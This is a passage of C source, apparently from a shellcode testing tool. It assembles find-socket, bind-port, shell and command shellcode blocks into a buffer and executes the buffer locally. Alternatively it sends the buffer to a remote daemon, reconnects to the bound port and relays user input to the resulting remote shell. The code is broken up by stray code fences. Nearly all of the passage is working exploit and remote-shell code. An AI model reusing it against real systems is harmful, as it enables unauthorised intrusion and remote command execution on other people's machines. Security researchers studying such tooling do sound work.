    for(i=0;i<strlen(code(FIND));i++) *b++=code(FIND)[i];
}
if(block(BIND)){
    n=port;
    code(BIND)[BINDSCKPORTOFS+0]=(unsigned char)((n>>8)&0xff);
    code(BIND)[BINDSCKPORTOFS+1]=(unsigned char)(n&0xff);
}

```

```

        for(i=0;i<strlen(code(BIND));i++) *b++=code(BIND)[i];
    }
    if(block(SHELL)){
        for(i=0;i<strlen(code(SHELL));i++) *b++=code(SHELL)[i];
    }
    if(block(CMD)){
        for(i=0;i<strlen(code(CMD));i++) *b++=code(CMD)[i];
        for(i=0;i<strlen(cmd);i++) *b++=cmd[i];
    }
    *b=0;

    /*
     * the portion of code simulating a "vulnerability" in a program, which
     * is to be exploited locally
     */
    if(!is(_REMOTE)){
#ifdef defined(AIX)
        {
            int jump[2]={(int)&buffer,*((int*)&main+1)};
            sleep(1);
            ((*void (*)())jump)();
        }
#else
        usleep(100000);
        ((*void (*)())buffer)();
#endif
        exit(-1);
    }

    /*
     * for remote test, send buffer via network socket to a simple daemon.
     * do bind reconnection whereas needed. if remote shell gets executed,
     * read commands from user, feed them to the shell and show their results.
     */
    write(sck,buffer,strlen(buffer)+1);

    if(block(BIND)){
        close(sck);
        sleep(2);
        sck=socket(AF_INET,SOCK_STREAM,0);
        adr.sin_port=htons(n);
        if(connect(sck,(struct sockaddr*)&adr,sizeof(struct sockaddr_in))<0){
            perror("error");exit(-1);
        }
    }
    if(block(FIND)){
        sleep(1);
    }

    write(sck,"uname -a\n",9);
    while(1){
        fd_set fds;
        FD_ZERO(&fds);

```

```

    FD_SET(0,&fds);
    FD_SET(sck,&fds);
    if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
        int cnt;
        char buf[1024];
        if(FD_ISSET(0,&fds)){
            if((cnt=read(0,buf,1024))<1){
                if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                else break;
            }
            write(sck,buf,cnt);
        }
        if(FD_ISSET(sck,&fds)){
            if((cnt=read(sck,buf,1024))<1){
                if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                else break;
            }
            write(1,buf,cnt);
        }
    }
}

exit(0);
}

```